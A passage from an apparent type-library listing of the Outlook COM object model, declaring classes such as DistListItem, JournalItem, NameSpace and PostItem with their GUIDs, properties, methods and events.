property-get TelexNumber: BSTR;

property-put TelexNumber(BSTR);

property-get Title: BSTR;

property-put Title(BSTR);

property-get TTYTDDTelephoneNumber: BSTR;

property-put TTYTDDTelephoneNumber(BSTR);

property-get User1: BSTR;

property-put User1(BSTR);

property-get User2: BSTR;

property-put User2(BSTR);

property-get User3: BSTR;

property-put User3(BSTR);

property-get User4: BSTR;

property-put User4(BSTR);

property-get UserCertificate: BSTR;

property-put UserCertificate(BSTR);

property-get WebPage: BSTR;

property-put WebPage(BSTR);

property-get YomiCompanyName: BSTR;

property-put YomiCompanyName(BSTR);

property-get YomiFirstName: BSTR;

property-put YomiFirstName(BSTR);

property-get YomiLastName: BSTR;

property-put YomiLastName(BSTR);

function ForwardAsVcard: ^MailItem;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class DistListItem;

GUID={0006103C-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get DLName: BSTR;

property-put DLName(BSTR);

property-get MemberCount: I4;

property-get CheckSum: I4;

property-get Members: variant;

property-put Members(variant);

property-get OneOffMembers: variant;

property-put OneOffMembers(variant);

property-get Links: ^Links;

function AddMembers(Recipients:^Recipients);

function RemoveMembers(Recipients:^Recipients);

function GetMember(Index:I4): ^Recipient;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class DocumentItem;

GUID={00061061-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class Explorers;

GUID={00063053-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Explorer;

function Add(Folder:variant; DisplayMode:OlFolderDisplayMode): ^_Explorer;

function NewExplorer(Explorer:^_Explorer);

Class Inspectors;

GUID={00063054-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Inspector;

function Add(Item:IDispatch): ^_Inspector;

function NewInspector(Inspector:^_Inspector);

Class Folders;

GUID={00063051-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^MAPIFolder;

property-get RawTable: IUnknown;

function Add(Name:BSTR; [Type:variant]): ^MAPIFolder;

function GetFirst: ^MAPIFolder;

function GetLast: ^MAPIFolder;

function GetNext: ^MAPIFolder;

function GetPrevious: ^MAPIFolder;

function Remove(Index:I4);

function FolderAdd(Folder:^MAPIFolder);

function FolderChange(Folder:^MAPIFolder);

function FolderRemove;

Class Items;

GUID={00063052-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): IDispatch;

property-get RawTable: IUnknown;

property-get IncludeRecurrences: bool;

property-put IncludeRecurrences(bool);

function Add([Type:variant]): IDispatch;

function Find(Filter:BSTR): IDispatch;

function FindNext: IDispatch;

function GetFirst: IDispatch;

function GetLast: IDispatch;

function GetNext: IDispatch;

function GetPrevious: IDispatch;

function Remove(Index:I4);

function ResetColumns;

function Restrict(Filter:BSTR): ^_Items;

function SetColumns(Columns:BSTR);

function Sort(Property:BSTR; [Descending:variant]);

function ItemAdd(Item:IDispatch);

function ItemChange(Item:IDispatch);

function ItemRemove;

Class JournalItem;

GUID={00061037-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get ContactNames: BSTR;

property-put ContactNames(BSTR);

property-get DocPosted: bool;

property-put DocPosted(bool);

property-get DocPrinted: bool;

property-put DocPrinted(bool);

property-get DocRouted: bool;

property-put DocRouted(bool);

property-get DocSaved: bool;

property-put DocSaved(bool);

property-get Duration: I4;

property-put Duration(I4);

property-get End: date;

property-put End(date);

property-get Type: BSTR;

property-put Type(BSTR);

property-get Recipients: ^Recipients;

property-get Start: date;

property-put Start(date);

function Forward: ^MailItem;

function Reply: ^MailItem;

function ReplyAll: ^MailItem;

function StartTimer;

function StopTimer;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class NameSpace;

GUID={0006308B-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get CurrentUser: ^Recipient;

property-get Folders: ^_Folders;

property-get Type: BSTR;

property-get AddressLists: ^AddressLists;

function CreateRecipient(RecipientName:BSTR): ^Recipient;

function GetDefaultFolder(FolderType:OlDefaultFolders): ^MAPIFolder;

function GetFolderFromID(EntryIDFolder:BSTR; [EntryIDStore:variant]): ^MAPIFolder;

function GetItemFromID(EntryIDItem:BSTR; [EntryIDStore:variant]): IDispatch;

function GetRecipientFromID(EntryID:BSTR): ^Recipient;

function GetSharedDefaultFolder(Recipient:^Recipient; FolderType:OlDefaultFolders): ^MAPIFolder;

function Logoff;

function Logon([Profile:variant; Password:variant; ShowDialog:variant; NewSession:variant]);

function PickFolder: ^MAPIFolder;

function RefreshRemoteHeaders;

property-get SyncObjects: ^SyncObjects;

function AddStore(Store:variant);

function RemoveStore(Folder:^MAPIFolder);

function OptionsPagesAdd(Pages:^PropertyPages; Folder:^MAPIFolder);

Class NoteItem;

GUID={00061034-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Color: OlNoteColor;

property-put Color(OlNoteColor);

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get GetInspector: ^_Inspector;

property-get Height: I4;

property-put Height(I4);

property-get LastModificationTime: date;

property-get Left: I4;

property-put Left(I4);

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Saved: bool;

property-get Size: I4;

property-get Subject: BSTR;

property-get Top: I4;

property-put Top(I4);

property-get Width: I4;

property-put Width(I4);

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Links: ^Links;

Class OutlookBarGroups;

GUID={00063056-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^OutlookBarGroup;

function Add(Name:BSTR; [Index:variant]): ^OutlookBarGroup;

function Remove(Index:variant);

function GroupAdd(NewGroup:^OutlookBarGroup);

function BeforeGroupAdd(Cancel:^bool);

function BeforeGroupRemove(Group:^OutlookBarGroup; Cancel:^bool);

Class OutlookBarPane;

GUID={00063055-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Contents: ^OutlookBarStorage;

property-get CurrentGroup: ^OutlookBarGroup;

property-putref CurrentGroup(^OutlookBarGroup);

property-get Name: BSTR;

property-get Visible: bool;

property-put Visible(bool);

function BeforeNavigate(Shortcut:^OutlookBarShortcut; Cancel:^bool);

function BeforeGroupSwitch(ToGroup:^OutlookBarGroup; Cancel:^bool);

Class OutlookBarShortcuts;

GUID={00063057-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^OutlookBarShortcut;

function Add(Target:variant; Name:BSTR; [Index:variant]): ^OutlookBarShortcut;

function Remove(Index:variant);

function ShortcutAdd(NewShortcut:^OutlookBarShortcut);

function BeforeShortcutAdd(Cancel:^bool);

function BeforeShortcutRemove(Shortcut:^OutlookBarShortcut; Cancel:^bool);

Class PostItem;

GUID={0006103A-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get ExpiryTime: date;

property-put ExpiryTime(date);

property-get HTMLBody: BSTR;

property-put HTMLBody(BSTR);

property-get ReceivedTime: date;

property-get SenderName: BSTR;

property-get SentOn: date;

function ClearConversationIndex;

function Forward: ^MailItem;

function Post;

function Reply: ^MailItem;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class RemoteItem;

GUID={00061060-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get HasAttachment: bool;

property-get RemoteMessageClass: BSTR;

property-get TransferSize: I4;

property-get TransferTime: I4;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class ReportItem;

GUID={00061035-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class TaskRequestAcceptItem;

GUID={00061052-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

